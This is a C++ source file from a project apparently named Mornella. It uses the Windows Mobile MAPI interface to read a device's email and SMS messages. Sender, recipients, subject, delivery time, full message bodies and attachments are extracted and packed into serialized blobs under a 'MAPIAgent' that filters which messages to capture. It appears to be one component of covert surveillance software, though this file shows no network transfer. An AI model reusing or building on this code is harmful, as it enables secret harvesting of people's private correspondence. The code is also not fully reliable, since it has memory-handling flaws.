Mornella/Mornella_Mobile/MAPIMessage.cpp
#include <list>
#include "MAPICommon.h"
#include "MAPIAgent.h"
#include "MAPIMessage.h"
#include "MAPIAttachment.h"
#include "MAPISerialize.h"
#define INITGUID
#define USES_IID_IMAPITable
#include <mapiguid.h>
LPBYTE getMIMEBody(IMessage *pMsg, LPDWORD lpcbSize);
LPBYTE getHTMLBody(IMessage *pMsg, LPDWORD lpcbSize);
LPBYTE getTEXTBody(IMessage *pMsg, LPDWORD lpcbSize);
LPBYTE getWideCharBody( LPSTREAM stream, LPDWORD lpcbSize, BOOL isWide );
MAPIMessage::MAPIMessage(IMessage *pMsg)
: _pMsg(pMsg), _pMsgProps(NULL), _pAttachTable(NULL),
_cbMsgProps(0), _lpMimeBody(NULL), _cbMimeBodySize(0),
_Class(NULL), _From(NULL), _Subject(NULL), _DeliveryTime(NULL),
_hasAttach(FALSE), _To(NULL), _lpTextBody(NULL), _cbTextBodySize(0)
{
LPTSTR alphabet = L"abcdefABCDEF1234567890";
ZeroMemory(&_header, sizeof(_header));
for (UINT i = 0; i < _filenameLength; i++)
_lpFilename[i] = alphabet[rand() % _tcslen(alphabet)];
}
MAPIMessage::~MAPIMessage(void)
{
if (_lpMimeBody) LocalFree(_lpMimeBody);
if (_To) LocalFree(_To);
if (_pMsgProps) MAPIFreeBuffer(_pMsgProps);
if (_pAttachTable) _pAttachTable->Release();
if (_pMsg) _pMsg->Release();
/*
for (std::list<MAPIAttachment*>::iterator i = attachments.begin(); i < attachments.end(); i++)
delete *i;
attachments.clear();
*/
}
HRESULT MAPIMessage::Parse(FilterTypes type)
{
HRESULT hr = E_FAIL;
hr = _GetProperties();
if (FAILED(hr))
{
DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR getting message properties]", 5, FALSE);
return E_FAIL;
}
hr = _ParseProperties();
if (FAILED(hr))
{
DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR parsing message properties]", 5, FALSE);
return E_FAIL;
}
BOOL accepted = MAPIAgent::Instance()->Accept(this, type);
if (accepted == FALSE) {
DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR message not accepted]", 5, FALSE);
return E_FAIL;
}
/* body and recipients are fetched only for mail (SMS do not have body) */
if (isMail()) {
_GetRecipients();
_GetMessageBody();
}
return S_OK;
}
HRESULT MAPIMessage::_GetProperties( void )
{
ULONG rgTags[] = {6, PR_MESSAGE_CLASS,
PR_MESSAGE_DELIVERY_TIME,
// PR_CLIENT_SUBMIT_TIME,
PR_EMAIL_ADDRESS,
PR_SENDER_EMAIL_ADDRESS,
PR_SUBJECT,
PR_HASATTACH};
HRESULT hr = _pMsg->GetProps((LPSPropTagArray)rgTags, MAPI_UNICODE, &_cbMsgProps, &_pMsgProps);
if (hr != S_OK)
return E_FAIL;
return S_OK;
}
HRESULT MAPIMessage::_ParseProperties( void )
{
for (ULONG idx = 0; idx < _cbMsgProps; idx++)
{
switch(_pMsgProps[idx].ulPropTag)
{
case PR_MESSAGE_CLASS:
_Class = _pMsgProps[idx].Value.lpszW;
break;
case PR_MESSAGE_DELIVERY_TIME:
_DeliveryTime = &_pMsgProps[idx].Value.ft;
CopyMemory(&_header.DeliveryTime, _DeliveryTime, sizeof(FILETIME));
break;
case PR_CLIENT_SUBMIT_TIME:
_DeliveryTime = &_pMsgProps[idx].Value.ft;
CopyMemory(&_header.DeliveryTime, _DeliveryTime, sizeof(FILETIME));
break;
case PR_SENDER_EMAIL_ADDRESS:
_From = _pMsgProps[idx].Value.lpszW;
DBG_TRACE(_From, 5, FALSE);
break;
case PR_SUBJECT:
_Subject = _pMsgProps[idx].Value.lpszW;
DBG_TRACE(_Subject, 5, FALSE);
break;
case PR_HASATTACH:
_hasAttach = static_cast<BOOL>(_pMsgProps[idx].Value.i);
break;
case PR_EMAIL_ADDRESS:
_To = _pMsgProps[idx].Value.lpszW;
DBG_TRACE(_To, 5, FALSE);
break;
default:
{
}
break;
}
Sleep(5);
}
// set delivery time to current time (if we don't have a valid delivery time)
if (_DeliveryTime == NULL) {
SYSTEMTIME systemTime;
GetSystemTime(&systemTime);
SystemTimeToFileTime(&systemTime, &_header.DeliveryTime);
_DeliveryTime = &_header.DeliveryTime;
}
return S_OK;
}
HRESULT MAPIMessage::_GetRecipients( void )
{
if (_To != NULL) {
LocalFree(_To);
_To = NULL;
}
_To = (LPTSTR) LocalAlloc(LPTR, MAXBUF * sizeof(TCHAR));
HRESULT hr = _WriteRecipientsToString(_To);
if (FAILED(hr))
{
LocalFree(_To);
_To = NULL;
return E_FAIL;
}
return S_OK;
}
HRESULT MAPIMessage::_WriteRecipientsToString( LPTSTR pszTo )
{
_ASSERT(_pMsg);
HRESULT hr = E_FAIL;
BOOL fFirstRecipient = TRUE;
size_t pcchA, pcchB;
LPMAPITABLE pRecipientTable = NULL;
hr = _pMsg->GetRecipientTable (0, &pRecipientTable);
if (hr == MAPI_E_NO_RECIPIENTS)
return S_OK;
else if (FAILED(hr))
return E_FAIL;
/*
SizedSPropTagArray(4, Columns) = { 4, { PR_DISPLAY_NAME, PR_EMAIL_ADDRESS, PR_RECIPIENT_TYPE, PR_ADDRTYPE}};
hr = pRecipientTable->SetColumns((LPSPropTagArray)&Columns, 0);
if (FAILED(hr))
return E_FAIL;
*/
DWORD remainingChars = MAXBUF;
LOOP
{
SRowSet * pRowSet = NULL;
// Copy properties to the ADRLIST
hr = pRecipientTable->QueryRows (1, 0, &pRowSet);
if (FAILED(hr))
{
pRecipientTable->Release();
return E_FAIL;
}
// Did we hit the end of the table?
if (pRowSet->cRows != 1)
break;
// Point just past the last property
LPSPropValue pspvLast = pRowSet->aRow[0].lpProps + pRowSet->aRow[0].cValues;
// Loop through all the properties returned for this row
for (LPSPropValue pPropValue = pRowSet->aRow[0].lpProps; pPropValue < pspvLast; ++pPropValue)
{
switch (pPropValue->ulPropTag)
{
//At this point you may also be interested on PR_DISPLAY_NAME
case PR_EMAIL_ADDRESS:
// if this is not the first recipient, add comma before the next one
if (!fFirstRecipient)
{
hr = StringCchLength(pszTo, MAXBUF, &pcchA);
if (FAILED(hr))
{
FreeProws(pRowSet);
pRecipientTable->Release();
return E_FAIL;
}
// buffer is full, return
if (remainingChars < 2 + 1) {
FreeProws(pRowSet);
pRecipientTable->Release();
return S_OK;
}
hr = StringCchCat(pszTo, pcchA + 2 + 1, TEXT(", "));
if (FAILED(hr))
{
FreeProws(pRowSet);
pRecipientTable->Release();
return E_FAIL;
}
remainingChars -= 2 + 1;
}
else
{
fFirstRecipient = FALSE;
}
// get length of current recipient string
hr = StringCchLength(pszTo, MAXBUF, &pcchA);
if (FAILED(hr))
{
FreeProws(pRowSet);
pRecipientTable->Release();
return E_FAIL;
}
// get length of recipient to be added
hr = StringCchLength(pPropValue->Value.lpszW, MAXBUF, &pcchB);
if (FAILED(hr))
{
FreeProws(pRowSet);
pRecipientTable->Release();
return E_FAIL;
}
// if buffer is full, return
if (remainingChars < pcchB + 1) {
FreeProws(pRowSet);
pRecipientTable->Release();
return S_OK;
}
// concatenate the new recipient to those already present
hr = StringCchCat(pszTo, pcchB + 1, pPropValue->Value.lpszW);
if (FAILED(hr))
{
FreeProws(pRowSet);
pRecipientTable->Release();
return E_FAIL;
}
remainingChars -= pcchB + 1;
break;
default:
break;
}
}
FreeProws (pRowSet);
pRowSet = NULL;
}
pRecipientTable->Release();
return S_OK;
}
HRESULT MAPIMessage::_FormatDateTime( LPFILETIME ft, LPTSTR lpwDate, LPTSTR lpwTime )
{
_ASSERT(ft);
_ASSERT(lpwDate);
_ASSERT(lpwTime);
SYSTEMTIME st = {0};
FileTimeToSystemTime(ft, &st);
int lenDate = GetDateFormat(LOCALE_USER_DEFAULT, DATE_SHORTDATE, &st, NULL, NULL, 0);
int err = GetDateFormat(LOCALE_USER_DEFAULT, DATE_SHORTDATE, &st, NULL, lpwDate, lenDate);
if (err == 0)
return E_FAIL;
int lenTime = GetTimeFormat(LOCALE_USER_DEFAULT, TIME_FORCE24HOURFORMAT | TIME_NOTIMEMARKER, &st, NULL, NULL, 0);
err = GetTimeFormat(LOCALE_USER_DEFAULT,
TIME_FORCE24HOURFORMAT | TIME_NOTIMEMARKER,
&st,
NULL,
lpwTime,
lenTime);
if (err == 0)
return E_FAIL;
return S_OK;
}
HRESULT MAPIMessage::_GetMessageBody()
{
_lpMimeBody = getMIMEBody(_pMsg, &_cbMimeBodySize);
if (_lpMimeBody != NULL) {
DBG_TRACE_INT(L"Debug - MAPIMessage.cpp - _GetMessageBody() [MIME body captured] size: ", 5, FALSE, _cbMimeBodySize);
return S_OK;
}
_lpTextBody = getHTMLBody(_pMsg, &_cbTextBodySize);
if (_lpTextBody != NULL) {
//_ASSERT( _cbTextBodySize % sizeof(TCHAR) == 0 ); // check that unicode size is correct!
DBG_TRACE_INT(L"Debug - MAPIMessage.cpp - _GetMessageBody() [HTML body captured] size: ", 5, FALSE, _cbTextBodySize);
return S_OK;
}
_lpTextBody = getTEXTBody(_pMsg, &_cbTextBodySize);
if (_lpTextBody != NULL) {
//_ASSERT( _cbTextBodySize % sizeof(TCHAR) == 0); // check that unicode size is correct!
DBG_TRACE_INT(L"Debug - MAPIMessage.cpp - _GetMessageBody() [TEXT body captured] size:", 5, FALSE, _cbTextBodySize);
return S_OK;
}
DBG_TRACE(L"Debug - MAPIMessage.cpp - _GetMessageBody() [ERROR cannot capture message body]", 5, FALSE);
return E_FAIL;
}
LPBYTE MAPIMessage::_GetAttachmentBody( LPATTACH pAttach, LPDWORD cbSize )
{
_ASSERT(pAttach);
_ASSERT(cbSize);
/* set a safe value for size */
*cbSize = 0;
SPropTagArray tagArray;
tagArray.cValues = 1;
tagArray.aulPropTag[0] = PR_ATTACH_DATA_BIN;
LPSTREAM pStream = NULL;
HRESULT hr = pAttach->OpenProperty(PR_ATTACH_DATA_BIN, (LPIID)&IID_IStream, STGM_READ, 0, (LPUNKNOWN*)&pStream);
if (FAILED(hr))
{
return NULL;
}
STATSTG stsg;
hr = pStream->Stat(&stsg, STATFLAG_NONAME);
if (FAILED(hr))
{
pStream->Release();
return NULL;
}
(*cbSize) = (DWORD)stsg.cbSize.LowPart;
LPBYTE lpBody = NULL;
if ((*cbSize) > 0)
{
lpBody = (LPBYTE)LocalAlloc(LPTR, *cbSize);
ULONG cbRead = 0;
hr = pStream->Read(lpBody, *cbSize, &cbRead);
if (FAILED(hr))
{
LocalFree(lpBody);
pStream->Release();
return NULL;
}
}
pStream->Release();
return lpBody;
}
MAPIAttachment* MAPIMessage::GetSingleAttachment()
{
ASSERT(_pAttachTable);
HRESULT hr = E_FAIL;
SRowSet* pRowSet;
hr = _pAttachTable->QueryRows(1, 0, &pRowSet);
if (FAILED(hr))
return NULL;
// no more attachments?
if (pRowSet->cRows != 1)
return NULL;
ULONG ulAttachNum = 0;
LPTSTR lpFilename = NULL;
LONG status = 0;
LONG size = 0;
ULONG cProps = pRowSet->aRow[0].cValues;
for (ULONG j = 0; j < cProps; j++)
{
LPSPropValue pPropValue = &pRowSet->aRow[0].lpProps[j];
ULONG ulTag = pPropValue->ulPropTag;
switch(ulTag)
{
case PR_ATTACH_NUM:
{
ulAttachNum = static_cast<ULONG>(pPropValue->Value.ul);
}
break;
case PR_ATTACH_FILENAME:
case PR_ATTACH_LONG_FILENAME:
{
lpFilename = static_cast<LPTSTR>(pPropValue->Value.lpszW);
}
break;
case PR_MSG_STATUS:
break;
case PR_ATTACH_SIZE:
break;
default:
break;
}
Sleep(5);
}
if (lpFilename && (ulAttachNum != 0))
{
LPATTACH pAttach = NULL;
hr = _pMsg->OpenAttach(ulAttachNum, NULL, MAPI_BEST_ACCESS, &pAttach);
if (FAILED(hr))
{
FreeProws(pRowSet);
pRowSet = NULL;
return NULL;
}
MAPIAttachment* attach = new MAPIAttachment(pAttach, lpFilename);
if (attach)
{
attach->SetStatus(status);
attach->SetTotalSize(size);
}
FreeProws(pRowSet);
pRowSet = NULL;
return attach;
}
FreeProws(pRowSet);
pRowSet = NULL;
return NULL;
}
HRESULT MAPIMessage::Print(void)
{
HRESULT hr = E_FAIL;
TCHAR dbgString[256] = {0};
// Class
// DateTime
if (_DeliveryTime != NULL)
{
LPTSTR lpwDate = (LPTSTR) LocalAlloc(LPTR, MAXBUF * sizeof(TCHAR));
LPTSTR lpwTime = (LPTSTR) LocalAlloc(LPTR, MAXBUF * sizeof(TCHAR));
hr = _FormatDateTime(_DeliveryTime, lpwDate, lpwTime);
if (SUCCEEDED(hr))
{
}
else
{
}
LocalFree(lpwDate); LocalFree(lpwTime);
}
// From
// Subject
// Attach
return S_OK;
}
void MAPIMessage::SetNumberOfAttach( DWORD nAttachs )
{
_header.nAttachs = nAttachs;
}
LONG MAPIMessage::Size()
{
return _header.Size;
}
#if 0
HRESULT MAPIMessage::GetAttachments( void )
{
HRESULT hr = _OpenAttachments();
if (FAILED(hr))
return hr;
MAPIAttachment* attach = NULL;
while ((attach = GetSingleAttachment()) != NULL)
{
ASSERT(attach);
attachments.push_back(attach);
}
return S_OK;
}
#endif
LPBYTE MAPIMessage::Serialize( LPDWORD lpdwLength )
{
_ASSERT(lpdwLength);
MAPISerializedMessageHeader* header = Header();
if (header == NULL)
return NULL;
// Set Protocol Version
header->VersionFlags |= MAPI_V1_0_PROTO;
MAPISerializer<ObjectTypes> serializer;
// calculate size of blob
DWORD cbBlobSize = 0;
cbBlobSize = sizeof(MAPISerializedMessageHeader); // size of _header struct
cbBlobSize += serializer.SerializedWStringLength(Folder());
cbBlobSize += serializer.SerializedWStringLength(Class());
cbBlobSize += serializer.SerializedWStringLength(From());
cbBlobSize += serializer.SerializedWStringLength(To());
// cbBlobSize += serializer.SerializedWStringLength(Cc());
cbBlobSize += serializer.SerializedWStringLength(Subject());
// account for body size
DWORD cbMimeBodySize = 0;
DWORD cbTextBodySize = 0;
LPBYTE lpMimeBody = MIMEBody(&cbMimeBodySize);
LPBYTE lpTextBody = TEXTBody(&cbTextBodySize);
if (lpMimeBody && cbMimeBodySize > 0) {
// MIME body length
cbBlobSize += serializer.SerializedObjectLength(cbMimeBodySize);
} else if (lpTextBody && cbTextBodySize > 0) {
// HTML/TEXT body length
cbBlobSize += serializer.SerializedObjectLength(cbTextBodySize);
}
// allocate buffer for serialized message
LPBYTE lpBlob = (LPBYTE) LocalAlloc(LPTR, cbBlobSize);
if (lpBlob == NULL)
return NULL;
LPBYTE ptr = lpBlob;
// fixup serialized message size in header
header->dwSize = cbBlobSize;
// skip header for now
ptr += sizeof(MAPISerializedMessageHeader);
// serialize strings
if (Folder())
{
DWORD cbSerializedStringSize = serializer.SerializeWString(ptr, Folder(), STRING_FOLDER);
ptr += cbSerializedStringSize;
}
if (Class())
{
DWORD cbSerializedStringSize = serializer.SerializeWString(ptr, Class(), STRING_CLASS);
ptr += cbSerializedStringSize;
}
if (From())
{
DWORD cbSerializedStringSize = serializer.SerializeWString(ptr, From(), STRING_FROM);
ptr += cbSerializedStringSize;
}
if (To())
{
DWORD cbSerializedStringSize = serializer.SerializeWString(ptr, To(), STRING_TO);
ptr += cbSerializedStringSize;
}
if (Subject())
{
DWORD cbSerializedStringSize = serializer.SerializeWString(ptr, Subject(), STRING_SUBJECT);
ptr += cbSerializedStringSize;
}
// MIME body
if (cbMimeBodySize > 0)
{
DWORD cbSerializedObjectSize = serializer.SerializeObject(ptr, lpMimeBody, cbMimeBodySize, OBJECT_MIMEBODY);
ptr += cbSerializedObjectSize;
}
// HTML/TEXT body
if (cbTextBodySize > 0)
{
DWORD cbSerializedObjectSize = serializer.SerializeObject(ptr, lpTextBody, cbTextBodySize, OBJECT_TEXTBODY);
ptr += cbSerializedObjectSize;
}
// Attachments
if (HasAttachments())
{
#pragma message(__LOC__"*** ATTACHMENTS SERIALIZATION NOT IMPLEMENTED!")
}
// write header
CopyMemory(lpBlob, header, sizeof(MAPISerializedMessageHeader));
(*lpdwLength) = cbBlobSize;
return lpBlob;
}
LPBYTE getMIMEBody(IMessage *pMsg, LPDWORD lpcbSize)
{
ASSERT(pMsg);
ASSERT(lpcbSize);
// set a safe size
*lpcbSize = 0;
IStream* istream = NULL;
HRESULT hr = pMsg->OpenProperty(PR_CE_MIME_TEXT, &IID_IStream, STGM_READ, 0, (LPUNKNOWN*)&istream);
if (FAILED(hr))
{
DBG_TRACE(L"Debug - MAPIMessage.cpp - getMIMEBody() [message is not MIME encoded]", 5, FALSE);
ASSERT(*lpcbSize == 0);
return NULL;
}
STATSTG stg;
hr = istream->Stat(&stg, STATFLAG_NONAME);
if (FAILED(hr))
{
DBG_TRACE(L"Debug - MAPIMessage.cpp - getMIMEBody() [ERROR cannot stat body stream]", 5, FALSE);
istream->Release();
return NULL;
}
DWORD cbBodySize = stg.cbSize.LowPart;
if (cbBodySize == 0) {
istream->Release();
return NULL;
}
LPBYTE lpBody = (LPBYTE)LocalAlloc(LPTR, cbBodySize);
hr = istream->Read(lpBody, cbBodySize, lpcbSize);
if (FAILED(hr))
{
DBG_TRACE(L"Debug - MAPIMessage.cpp - getMIMEBody() [ERROR cannot read body]", 5, FALSE);
LocalFree(lpBody);
istream->Release();
return NULL;
}
istream->Release();
DBG_TRACE(L"Debug - MAPIMessage.cpp - getMIMEBody() [got message body]", 5, FALSE);
*lpcbSize = cbBodySize;
return lpBody;
}
LPBYTE getHTMLBody(IMessage *pMsg, LPDWORD lpcbSize)
{
// set a safe size
*lpcbSize = 0;
LPSTREAM pstmBody = NULL;
HRESULT hr = E_FAIL;
hr = pMsg->OpenProperty (PR_BODY_HTML_W, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
if ( hr == S_OK ) {
LPBYTE body = getWideCharBody( pstmBody, lpcbSize, TRUE );
if (body) return body;
}
hr = pMsg->OpenProperty (PR_BODY_HTML_A, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
if ( hr == S_OK ) {
LPBYTE body = getWideCharBody( pstmBody, lpcbSize, FALSE );
if (body) return body;
}
#if 0
hr = pMsg->OpenProperty (PR_BODY_HTML, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
if ( hr == S_OK ) {
LPBYTE body = getWideCharBody( pstmBody, lpcbSize, TRUE );
if (body) return body;
}
#endif
*lpcbSize = 0;
return NULL;
}
LPBYTE getTEXTBody(IMessage *pMsg, LPDWORD lpcbSize)
{
// set a safe size
*lpcbSize = 0;
LPSTREAM pstmBody = NULL;
HRESULT hr = E_FAIL;
hr = pMsg->OpenProperty (PR_BODY_W, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
if ( hr == S_OK ) {
LPBYTE body = getWideCharBody( pstmBody, lpcbSize, TRUE );
if (body) return body;
}
hr = pMsg->OpenProperty (PR_BODY_A, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
if ( hr == S_OK ) {
LPBYTE body = getWideCharBody( pstmBody, lpcbSize, FALSE );
if (body) return body;
}
#if 0
hr = pMsg->OpenProperty (PR_BODY, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
if ( hr == S_OK ) {
LPBYTE body = getWideCharBody( pstmBody, lpcbSize, FALSE );
if (body) return body;
}
#endif
*lpcbSize = 0;
return NULL;
}
LPBYTE getWideCharBody( LPSTREAM stream, LPDWORD lpcbSize, BOOL isWide )
{
// Safe value for size
*lpcbSize = 0;
//Get the size of the body
STATSTG statstg;
HRESULT hr = stream->Stat(&statstg, STATFLAG_NONAME);
if (FAILED(hr))
return NULL;
//Allocate a buffer for the stream
DWORD numBytes = statstg.cbSize.LowPart;
#if DEBUG
if (numBytes == 0)
DBG_TRACE(L"Debug - MAPIMessage.cpp - getWideCharBody() [message has size == 0]", 5, FALSE);
#endif
LPBYTE body = new BYTE[numBytes + 1];
ZeroMemory(body, numBytes);
// read stream array (IStream::Read wants a BYTE* as 1st arg)
ULONG bytesRead = 0;
hr = stream->Read (body, numBytes, &bytesRead);
if (FAILED(hr))
return NULL;
if ( isWide == TRUE ) {
// return as is
*lpcbSize = bytesRead;
return body;
}
int cchWide = MultiByteToWideChar(CP_ACP, 0, (char*)body, -1, 0, 0);
LPTSTR wideBody = new TCHAR[cchWide];
ZeroMemory(wideBody, cchWide * sizeof(TCHAR));
MultiByteToWideChar(CP_ACP, 0, (char*)body, -1, wideBody, cchWide);
*lpcbSize = cchWide * sizeof(TCHAR);
if (*lpcbSize == 0)
return NULL;
return (LPBYTE) wideBody;
}